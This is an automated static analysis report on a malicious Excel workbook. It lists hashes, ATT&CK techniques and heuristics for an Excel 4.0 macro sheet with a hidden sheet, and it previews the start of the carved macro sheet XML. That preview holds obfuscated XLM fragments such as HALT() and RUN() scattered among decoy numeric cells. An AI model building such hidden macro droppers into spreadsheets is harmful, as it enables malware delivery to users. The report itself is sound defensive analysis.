Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 05d8a7144a984b5f…

MALICIOUS

Office (OOXML)

79.2 KB Created: 2020-05-04 10:04:55 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 13ac02a786cea8890c50ae528e825c08 SHA-1: c23d6ff0fb96b82a7da100d704ca3976a088e9b5 SHA-256: 05d8a7144a984b5f9530f0f9abe96546cfec0ad2c8cdc213bc733d7e14e750df
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like HALT, RUN, and FORMULA, indicating an attempt to download and execute a second-stage payload. The presence of hidden worksheets further supports the malicious intent by concealing the macro code.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: HALT, RUN, FORMULA.FILL critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 214920 bytes
SHA-256: 2e3392479e59bb5f5b11a2792defdcc48e0d47092633b36be93a8afb0ae4f22d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{91153F19-D7C0-496E-852E-8226E03FA318}"><dimension ref="A25:IU65527"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="25" spans="20:20" x14ac:dyDescent="0.25"><c r="T25"><v>5.8125</v></c></row><row r="35" spans="56:122" x14ac:dyDescent="0.25"><c r="BD35"><v>8.6363636363636367</v></c></row><row r="42" spans="56:122" x14ac:dyDescent="0.25"><c r="CC42"><v>382</v></c></row><row r="47" spans="56:122" x14ac:dyDescent="0.25"><c r="DR47"><v>-5.0304878048780486</v></c></row><row r="166" spans="170:170" x14ac:dyDescent="0.25"><c r="FN166"><v>0.75</v></c></row><row r="219" spans="151:151" x14ac:dyDescent="0.25"><c r="EU219"><v>-327</v></c></row><row r="258" spans="237:237" x14ac:dyDescent="0.25"><c r="IC258"><v>-15.5</v></c></row><row r="283" spans="54:54" x14ac:dyDescent="0.25"><c r="BB283"><v>-367</v></c></row><row r="298" spans="252:252" x14ac:dyDescent="0.25"><c r="IR298"><v>-0.26869158878504673</v></c></row><row r="419" spans="22:22" x14ac:dyDescent="0.25"><c r="V419"><v>-0.28037483177570088</v></c></row><row r="433" spans="1:1" x14ac:dyDescent="0.25"><c r="A433"><v>572</v></c></row><row r="539" spans="100:100" x14ac:dyDescent="0.25"><c r="CV539" s="4"/></row><row r="547" spans="175:175" x14ac:dyDescent="0.25"><c r="FS547"><v>-195</v></c></row><row r="580" spans="209:240" x14ac:dyDescent="0.25"><c r="HA580"><v>138</v></c></row><row r="586" spans="209:240" x14ac:dyDescent="0.25"><c r="IF586"><v>508</v></c></row><row r="672" spans="182:182" x14ac:dyDescent="0.25"><c r="FZ672"><v>9.5753012048192776</v></c></row><row r="828" spans="100:182" x14ac:dyDescent="0.25"><c r="FZ828"><v>-0.19759036144578312</v></c></row><row r="830" spans="100:182" x14ac:dyDescent="0.25"><c r="CV830"><v>-400</v></c></row><row r="860" spans="31:31" x14ac:dyDescent="0.25"><c r="AE860"><v>-298</v></c></row><row r="867" spans="81:108" x14ac:dyDescent="0.25"><c r="CC867"><v>342.75</v></c></row><row r="875" spans="81:108" x14ac:dyDescent="0.25"><c r="DD875" t="b"><f>HALT()</f><v>0</v></c></row><row r="928" spans="177:177" x14ac:dyDescent="0.25"><c r="FU928"><v>-0.2433734939759036</v></c></row><row r="932" spans="46:247" x14ac:dyDescent="0.25"><c r="GD932"><v>-1.3384615384615384</v></c></row><row r="938" spans="46:247" x14ac:dyDescent="0.25"><c r="AT938" t="b"><f>RUN(HM13288)</f><v>0</v></c></row><row r="942" spans="46:247" x14ac:dyDescent="0.25"><c r="IM942"><v>0.43437500000000001</v></c></row><row r="1071" spans="211:211" x14ac:dyDescent="0.25"><c r="HC1071"><v>-618</v></c></row><row r="1115" spans="61:252" x14ac:dyDescent="0.25"><c r="BI1115"><v>-0.25934579439252337</v></c><c r="FQ1115"><v>-1.8415178571428572</v></c><c r="IR1115"><v>643</v></c></row><row r="1159" spans="19:19" x14ac:dyDescent="0.25"><c r="S1159"><v>-6.8032786885245899</v></c></row><row r="1191" spans="43:43" x14ac:dyDescent="0.25"><c r="AQ1191"><v>375</v></c></row><row r="1209" spans="111:111" x14ac:dyDescent="0.25"><c r="DG1209"><v>299</v></c></row><row r="1223" spans="181:181" x14ac:dyDescent="0.25"><c r="FY1223"><v>-0.35951517004048578</v></c></row><row r="1329" spans="107:251" x14ac:dyDescent="0.25"><c r="IQ1329"><v>-0.38303030303030305</v></c></row><row r="1341" spans="107:251" x14ac:dyDescent="0.25"><c r="DC1341"><v>41.25</
... (truncated)